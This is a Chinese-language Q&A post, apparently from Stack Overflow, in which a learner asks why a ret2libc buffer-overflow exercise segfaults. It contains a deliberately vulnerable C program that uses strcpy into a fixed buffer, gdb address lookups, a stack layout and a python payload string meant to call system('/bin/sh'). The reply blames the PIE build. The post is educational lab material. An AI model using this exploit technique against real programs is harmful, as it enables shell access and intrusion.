【发布时间】:2019-06-20 21:29:48
【问题描述】:
我正在做this 缓冲区溢出练习,但我似乎无法让它工作......
在文章的调用参数部分,他利用这个程序使用变量not_used而不是/bin/date:
char* not_used = "/bin/sh";
void not_called() {
printf("Not quite a shell...\n");
system("/bin/date");
}
void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}
int main(int argc, char** argv) {
vulnerable_function(argv[1]);
return 0;
}
他通过获取not_used 和system@plt 内存地址,然后用它们替换堆栈来做到这一点:
| 0x8048580 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
但是,当我尝试这样做时,我只收到了一个Segmentation Fault:
frinto@kali:~/Documents/theclang/programs/rop/argrop$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x122e
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/rop/argrop/a.out
Breakpoint 1, 0x5655622e in main ()
(gdb) print 'system@plt'
$1 = {<text variable, no debug info>} 0x56556050 <system@plt>
(gdb) x/s (int)not_used
0x56557008: "/bin/sh"
(gdb)
然后我构建了我的有效载荷并运行它:
frinto@kali:~/Documents/theclang/programs/rop/argrop$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x60\x55\x56" + "CCCC" + "\x08\x70\x55\x56"')"
Segmentation fault
这可能是什么问题?提前感谢您的帮助!
附注内存随机化被禁用
【问题讨论】:
-
很可能您的
disas main与教程不同,因此您需要调整您的argv[1]有效负载(一方面,您已经构建了一个PIE 二进制,而本教程没有)。在编译和链接时添加-fno-PIE -no-pie可能会有所帮助。
标签: c assembly x86 gdb buffer-overflow